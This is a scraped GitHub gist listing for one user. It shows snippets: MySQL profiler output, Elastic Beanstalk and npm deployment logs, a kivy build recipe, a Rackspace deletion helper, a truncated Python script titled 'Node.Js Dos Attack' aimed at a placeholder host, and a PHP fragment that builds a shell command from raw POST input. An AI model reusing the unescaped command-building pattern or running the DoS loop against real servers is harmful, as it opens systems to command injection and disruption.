Skip to content

Instantly share code, notes, and snippets.

Avatar

Oskar Kossuth okossuth

View GitHub Profile
View gist:64a35632613840bfd635
root@xxxxxx:~# ./poormanprof.sh
31854
10 ??,??,??,??,start_thread,clone,??
3 pthread_cond_timedwait@@GLIBC_2.3.2,??,??,start_thread,clone,??
2 select,??,??,start_thread,clone,??
2 pthread_cond_wait@@GLIBC_2.3.2,one_thread_per_connection_end(THD*,,do_handle_one_connection(THD*),handle_one_connection,start_thread,clone,??
1 pthread_cond_wait@@GLIBC_2.3.2,??,??,start_thread,clone,??
1 poll,handle_connections_sockets(),mysqld_main(int,,__libc_start_main,_start
1 my_qsort,my_dir,find_files(THD*,,get_all_tables(THD*,,get_schema_tables_result(JOIN*,,JOIN::exec(),mysql_select(THD*,,handle_select(THD*,,??,mysql_execute_command(THD*),mysql_parse(THD*,,dispatch_command(enum_server_command,,do_handle_one_connection(THD*),handle_one_connection,start_thread,clone,??
1 do_sigwait,sigwait,signal_hand,start_thread,clone,??
@okossuth
okossuth / gist:7198753
Created Oct 28, 2013
Node.Js Dos Attack
View gist:7198753
#!/usr/bin/python
import socket
HOST = 'server to attack'
PORT = 'port where nodejs is listening'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
print "Killing node.js!"
View .travis.yml
In the after scripts section modify yours like this:
- eb init -I $AWSAKEY -S $AWSSKEY -a app -e appenv --region "eu-west-1" -s "64bit Amazon Linux running Node.js"
- cp $PWD/AWS-ElasticBeanstalk-CLI-2.5.1/Ovivo/optionsettings $PWD/.elasticbeanstalk/
- eb branch
- eb start -f
- git aws.push
@okossuth
okossuth / gist:6081343
Created Jul 25, 2013
Output of /opt/elasticbeanstalk/hooks/appdeploy/pre/50npm.sh > log.txt 2>&1
View gist:6081343
[root@ip-10-58-181-205 ~]# cat log.txt
No environment variable EB_EVENT_FILE found. Writing message to stderr.
Msg: Failed to run npm install. npm WARN package.json rendr-mobile-employee@0.1.3 No readme data.
npm http GET https://registry.npmjs.org/backbone/1.0.0
npm http GET https://registry.npmjs.org/qs/0.5.1
npm http GET https://registry.npmjs.org/express
npm http GET https://registry.npmjs.org/validator/0.4.21
npm http GET https://registry.npmjs.org/npm
npm http 304 https://registry.npmjs.org/validator/0.4.21
npm http 304 https://registry.npmjs.org/express
@okossuth
okossuth / gist:6080232
Created Jul 25, 2013
npm install rendr output
View gist:6080232
[root@Ovnagios ~]# npm install rendr
npm http GET https://registry.npmjs.org/rendr
npm http 304 https://registry.npmjs.org/rendr
npm http GET https://registry.npmjs.org/async/0.1.22
npm http GET https://registry.npmjs.org/qs/0.5.1
npm http GET https://registry.npmjs.org/express
npm http GET https://registry.npmjs.org/validator/0.4.21
npm http GET https://registry.npmjs.org/rendr-handlebars/0.0.5
npm http GET https://registry.npmjs.org/npm
npm http GET https://registry.npmjs.org/request
@okossuth
okossuth / mechanize for kivy
Created Dec 27, 2012
Setup.py and recipe.sh for mechanize These files can be used when trying to execute ./distribute.sh -m "mechanize kivy" to avoid the lib-dynload/_io.so error more info here: http://kivy.org/docs/guide/packaging-android.html#packaging-android
View mechanize for kivy
recipe.sh
#!/bin/bash
VERSION_mechanize=
URL_mechanize=http://pypi.python.org/packages/source/m/mechanize/mechanize-0.2.5.tar.gz
MD5_mechanize=
BUILD_mechanize=$BUILD_PATH/mechanize/$(get_directory $URL_mechanize)
RECIPE_mechanize=$RECIPES_PATH/mechanize
View gist:2050056
def delete_container(args):
"Deletes a container on Rackspace Cloud Files"
connection = cloudfiles.get_connection(
RACKSPACE_USERNAME,
RACKSPACE_API_KEY,
)
container = connection.get_container(args.container)
for obj in container.get_objects():
for w in range(1,10):
View gist:1595073
if (isset($_POST['command']))
{
echo 'Command: ' . $_POST['command'] . '<br>';
echo 'Container: ' . $_POST['container'] . '<br>';
//if(preg_match("/#/",$_POST['command']))
//{
//cmd = '';
//} else {
$cmd = '/usr/local/bin/rackspace-dir.py store --container=' . $_POST['container']' + --path=' . $_POST['command'];